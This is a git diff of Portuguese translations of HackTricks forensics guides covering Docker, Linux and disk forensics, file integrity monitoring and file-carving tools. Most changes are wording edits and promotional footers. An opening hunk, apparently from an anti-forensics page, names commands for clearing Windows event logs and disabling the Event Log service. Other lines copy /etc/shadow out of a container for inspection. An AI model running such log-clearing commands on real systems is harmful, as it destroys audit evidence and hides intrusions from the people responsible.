/f` -* Dentro da seção de serviços, desative o serviço "Log de Eventos do Windows" +* Dentro da seção de serviços, desative o serviço "Windows Event Log" * `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl` ## Desativar $UsnJrnl @@ -170,16 +172,16 @@ Também é possível modificar a configuração de quais arquivos serão copiado {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index 58e1bc55e..10301f7fa 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -43,7 +43,7 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` -No comando anterior, **C** significa **Alterado** e **A** significa **Adicionado**.\ +No comando anterior, **C** significa **Changed** e **A** significa **Added**.\ Se você descobrir que algum arquivo interessante, como `/etc/shadow`, foi modificado, você pode baixá-lo do contêiner para verificar atividades maliciosas com: ```bash docker cp wordpress:/etc/shadow. @@ -58,7 +58,7 @@ Se você descobrir que **um arquivo suspeito foi adicionado**, você pode acessa ```bash docker exec -it wordpress bash ``` -## Modificações de imagens +## Imagens modificadas Quando você recebe uma imagem docker exportada (provavelmente no formato `.tar`), você pode usar [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) para **extrair um resumo das modificações**: ```bash @@ -67,7 +67,7 @@ container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` -Então, você pode **descomprimir** a imagem e **acessar os blobs** para procurar arquivos suspeitos que você pode ter encontrado no histórico de alterações: +Então, você pode **descompactar** a imagem e **acessar os blobs** para procurar arquivos suspeitos que você pode ter encontrado no histórico de alterações: ```bash tar -xf image.tar ``` @@ -127,7 +127,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index bbe6876e5..74c4fb9f3 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,31 +1,32 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -# Baseline -Um baseline consiste em tirar uma snapshot de certas partes de um sistema para **compará-lo com um estado futuro e destacar mudanças**. +# Linha de Base + +Uma linha de base consiste em tirar uma instantânea de certas partes de um sistema para **compará-la com um status futuro para destacar mudanças**. Por exemplo, você pode calcular e armazenar o hash de cada arquivo do sistema de arquivos para poder descobrir quais arquivos foram modificados.\ -Isso também pode ser feito com as contas de usuário criadas, processos em execução, serviços em execução e qualquer outra coisa que não deveria mudar muito, ou nada. +Isso também pode ser feito com as contas de usuário criadas, processos em execução, serviços em execução e qualquer outra coisa que não deveria mudar muito, ou de forma alguma. ## Monitoramento de Integridade de Arquivos -O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança crítica que protege ambientes de TI e dados rastreando mudanças em arquivos. Envolve duas etapas-chave: +O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança crítica que protege ambientes de TI e dados ao rastrear mudanças em arquivos. Envolve duas etapas principais: -1. **Comparação de Baseline:** Estabeleça um baseline usando atributos de arquivo ou checksums criptográficos (como MD5 ou SHA-2) para comparações futuras e detectar modificações. -2. **Notificação de Mudança em Tempo Real:** Receba alertas instantâneos quando arquivos são acessados ou alterados, geralmente por meio de extensões de kernel do sistema operacional. +1. **Comparação de Linha de Base:** Estabelecer uma linha de base usando atributos de arquivo ou somas de verificação criptográficas (como MD5 ou SHA-2) para comparações futuras para detectar modificações. +2. **Notificação de Mudança em Tempo Real:** Receber alertas instantâneos quando arquivos são acessados ou alterados, tipicamente através de extensões do kernel do SO. ## Ferramentas @@ -38,16 +39,16 @@ O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança c {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 9f2fe84c7..e2748bc4c 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -52,7 +52,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ``` #### Informações suspeitas -Enquanto obtém as informações básicas, você deve verificar por coisas estranhas, como: +Ao obter as informações básicas, você deve verificar coisas estranhas, como: * **Processos root** geralmente são executados com PIDS baixos, então se você encontrar um processo root com um PID grande, pode suspeitar * Verifique os **logins registrados** de usuários sem um shell dentro de `/etc/passwd` @@ -85,8 +85,8 @@ LiME também pode ser usado para **enviar o dump via rede** em vez de armazená- #### Desligando -Primeiro de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\ -Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "puxar o plugue"**. O primeiro permitirá que os **processos terminem normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "puxar o plugue" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá nenhuma oportunidade** de fazer algo a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e puxe o plugue. +Primeiramente, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\ +Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "desconectar da tomada"**. O primeiro permitirá que os **processos sejam encerrados normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "desconectar da tomada" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá oportunidade** de fazer nada a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e desconecte da tomada. #### Tirando uma imagem do disco @@ -99,7 +99,7 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` -### Análise pré-imagem do disco +### Análise prévia da imagem do disco Imaginando uma imagem de disco sem mais dados. ```bash @@ -186,7 +186,7 @@ Para pesquisar efetivamente programas instalados em sistemas Debian e RedHat, co * Para Debian, inspecione _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ para obter detalhes sobre instalações de pacotes, usando `grep` para filtrar informações específicas. * Usuários do RedHat podem consultar o banco de dados RPM com `rpm -qa --root=/mntpath/var/lib/rpm` para listar pacotes instalados. -Para descobrir software instalado manualmente ou fora desses gerenciadores de pacotes, explore diretórios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combine listagens de diretórios com comandos específicos do sistema para identificar executáveis não associados a pacotes conhecidos, aprimorando sua busca por todos os programas instalados. +Para descobrir software instalado manualmente ou fora desses gerenciadores de pacotes, explore diretórios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combine listagens de diretórios com comandos específicos do sistema para identificar executáveis não associados a pacotes conhecidos, aprimorando sua busca por todos os programas instalados. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -212,7 +212,7 @@ Acesse hoje: ## Recuperar Binários em Execução Deletados -Imagine um processo que foi executado de /tmp/exec e depois deletado. É possível extraí-lo +Imagine um processo que foi executado a partir de /tmp/exec e depois deletado. É possível extrair isso. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 @@ -236,7 +236,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra ``` ### Serviços -Caminhos onde um malware poderia ser instalado como um serviço: +Caminhos onde um malware pode ser instalado como um serviço: * **/etc/inittab**: Chama scripts de inicialização como rc.sysinit, direcionando para scripts de inicialização. * **/etc/rc.d/** e **/etc/rc.boot/**: Contêm scripts para inicialização de serviços, sendo o último encontrado em versões mais antigas do Linux. @@ -256,9 +256,9 @@ Módulos do kernel Linux, frequentemente utilizados por malware como componentes * **/etc/modprobe.d**: Contém arquivos de configuração para controlar o carregamento de módulos. * **/etc/modprobe** e **/etc/modprobe.conf**: Arquivos para configurações globais de módulos. -### Outras Localizações de Autostart +### Outros Locais de Autostart -O Linux emprega vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware: +O Linux utiliza vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware: * **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Executados para qualquer login de usuário. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados ao fazer login. @@ -276,7 +276,7 @@ Sistemas Linux rastreiam atividades de usuários e eventos do sistema através d * **/var/log/kern.log**: Armazena mensagens do kernel, incluindo erros e avisos. * **/var/log/dmesg**: Contém mensagens do driver de dispositivo. * **/var/log/faillog**: Registra tentativas de login falhadas, auxiliando em investigações de violação de segurança. -* **/var/log/cron**: Registra execuções de trabalhos cron. +* **/var/log/cron**: Registra execuções de jobs do cron. * **/var/log/daemon.log**: Rastreia atividades de serviços em segundo plano. * **/var/log/btmp**: Documenta tentativas de login falhadas. * **/var/log/httpd/**: Contém logs de erro e acesso do Apache HTTPD. @@ -285,7 +285,7 @@ Sistemas Linux rastreiam atividades de usuários e eventos do sistema através d * **/var/log/**: Sempre verifique se há logs inesperados aqui. {% hint style="info" %} -Os logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou adulteração. +Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou adulteração. {% endhint %} **O Linux mantém um histórico de comandos para cada usuário**, armazenado em: @@ -311,7 +311,7 @@ Alguns aplicativos também geram seus próprios logs: * **Gnome Desktop**: Verifique _\~/.recently-used.xbel_ para arquivos acessados recentemente via aplicativos Gnome. * **Firefox/Chrome**: Verifique o histórico do navegador e downloads em _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ para atividades suspeitas. * **VIM**: Revise _\~/.viminfo_ para detalhes de uso, como caminhos de arquivos acessados e histórico de pesquisa. -* **Open Office**: Verifique o acesso recente a documentos que pode indicar arquivos comprometidos. +* **Open Office**: Verifique o acesso recente a documentos que podem indicar arquivos comprometidos. * **FTP/SFTP**: Revise logs em _\~/.ftp\_history_ ou _\~/.sftp\_history_ para transferências de arquivos que podem ser não autorizadas. * **MySQL**: Investigue _\~/.mysql\_history_ para consultas MySQL executadas, potencialmente revelando atividades não autorizadas no banco de dados. * **Less**: Analise _\~/.lesshst_ para histórico de uso, incluindo arquivos visualizados e comandos executados. @@ -348,11 +348,11 @@ Acesse hoje: ## Revisar Contas de Usuário e Atividades de Logon -Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta ao sudo.\ +Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta no sudo.\ Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ em busca de privilégios inesperados concedidos a usuários.\ -Por fim, procure contas com **senhas ausentes** ou **senhas facilmente adivinháveis**. +Finalmente, procure contas com **senhas ausentes** ou **senhas facilmente adivinháveis**. -## Examinar o Sistema de Arquivos +## Examinar Sistema de Arquivos ### Analisando Estruturas de Sistema de Arquivos em Investigações de Malware @@ -365,7 +365,7 @@ Para combater esses métodos anti-forenses, é essencial: * **Examinar `/dev` em busca de arquivos atípicos**, pois tradicionalmente contém arquivos especiais, mas pode abrigar arquivos relacionados a malware. * **Procurar arquivos ou diretórios ocultos** com nomes como ".. " (ponto ponto espaço) ou "..^G" (ponto ponto controle-G), que podem ocultar conteúdo malicioso. * **Identificar arquivos setuid root** usando o comando: `find / -user root -perm -04000 -print` Isso encontra arquivos com permissões elevadas, que podem ser abusadas por atacantes. -* **Revisar timestamps de exclusão** em tabelas de inode para detectar exclusões em massa de arquivos, possivelmente indicando a presença de rootkits ou trojans. +* **Revisar timestamps de exclusão** nas tabelas de inode para detectar exclusões em massa de arquivos, possivelmente indicando a presença de rootkits ou trojans. * **Inspecionar inodes consecutivos** em busca de arquivos maliciosos próximos após identificar um, pois podem ter sido colocados juntos. * **Verificar diretórios binários comuns** (_/bin_, _/sbin_) em busca de arquivos recentemente modificados, pois estes podem ter sido alterados por malware. ````bash @@ -425,7 +425,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -434,6 +434,6 @@ Aprenda e pratique Hacking GCP: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Folhas de Dicas de Forense +## Cheatsheets de Forense [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) @@ -31,25 +31,25 @@ Aprenda e pratique Hacking GCP: &1 | grep -E "Authority|TeamIdentifier" @@ -154,7 +154,7 @@ spctl --assess --verbose /Applications/Safari.app ### Empilhamento de Arquivos -Se você souber que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em alguma data**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data for **suspeita**, verifique esse arquivo. +Se você sabe que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em alguma data**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data é **suspeita**, verifique esse arquivo. ### Linhas de Base @@ -163,3 +163,18 @@ Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode c ### Análise Estatística Quando as informações são salvas em logs, você pode **verificar estatísticas como quantas vezes cada arquivo de um servidor web foi acessado, pois um web shell pode ser um dos mais**. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 2c9c7873b..6621e9c09 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -21,7 +21,7 @@ Aprenda e pratique Hacking GCP: Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -108,7 +108,7 @@ O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele | Offset | Comprimento | Conteúdo | | --------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) em máquinas little-endian) | +| 0 (0x00) | 8 bytes | Assinatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)em máquinas little-endian) | | 8 (0x08) | 4 bytes | Revisão 1.0 (00h 00h 01h 00h) para UEFI 2.8 | | 12 (0x0C) | 4 bytes | Tamanho do cabeçalho em little endian (em bytes, geralmente 5Ch 00h 00h 00h ou 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) do cabeçalho (offset +0 até o tamanho do cabeçalho) em little endian, com este campo zerado durante o cálculo | @@ -129,8 +129,8 @@ O cabeçalho da tabela de partição define os blocos utilizáveis no disco. Ele | Formato de entrada de partição GUID | | | | ------------------------------------ | -------- | ----------------------------------------------------------------------------------------------------------------- | | Offset | Comprimento | Conteúdo | -| 0 (0x00) | 16 bytes | [GUID do tipo de partição](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian misto) | -| 16 (0x10) | 16 bytes | GUID único da partição (endian misto) | +| 0 (0x00) | 16 bytes | [GUID de tipo de partição](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian misto) | +| 16 (0x10) | 16 bytes | GUID de partição único (endian misto) | | 32 (0x20) | 8 bytes | Primeiro LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) | | 40 (0x28) | 8 bytes | Último LBA (inclusivo, geralmente ímpar) | | 48 (0x30) | 8 bytes | Flags de atributo (por exemplo, o bit 60 denota somente leitura) | @@ -164,7 +164,7 @@ Se fosse uma **tabela GPT em vez de um MBR**, deveria aparecer a assinatura _EFI O sistema de arquivos **FAT (Tabela de Alocação de Arquivos)** é projetado em torno de seu componente central, a tabela de alocação de arquivos, posicionada no início do volume. Este sistema protege os dados mantendo **duas cópias** da tabela, garantindo a integridade dos dados mesmo se uma estiver corrompida. A tabela, juntamente com a pasta raiz, deve estar em uma **localização fixa**, crucial para o processo de inicialização do sistema. -A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, composto por múltiplos setores. O FAT evoluiu através de versões: +A unidade básica de armazenamento do sistema de arquivos é um **cluster, geralmente 512B**, composto por vários setores. O FAT evoluiu através de versões: * **FAT12**, suportando endereços de cluster de 12 bits e lidando com até 4078 clusters (4084 com UNIX). * **FAT16**, aprimorando para endereços de 16 bits, acomodando assim até 65.517 clusters. diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 92dc27f9a..5e856e619 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -21,7 +21,7 @@ Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https:// ### Autopsy -A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela ingira o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples. +A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela processe o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples. ### Binwalk @@ -36,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivos configurados por padrão. +Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivo configurados por padrão. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -88,14 +88,14 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe ### FindAES -Procura por chaves AES buscando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. +Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. Baixe [aqui](https://sourceforge.net/projects/findaes/). ## Ferramentas Complementares Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\ -Você pode usar a ferramenta de linha de comando linux **pdftotext** para transformar um pdf em texto e lê-lo. +Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo. {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 944e10ac9..ea00118ad 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
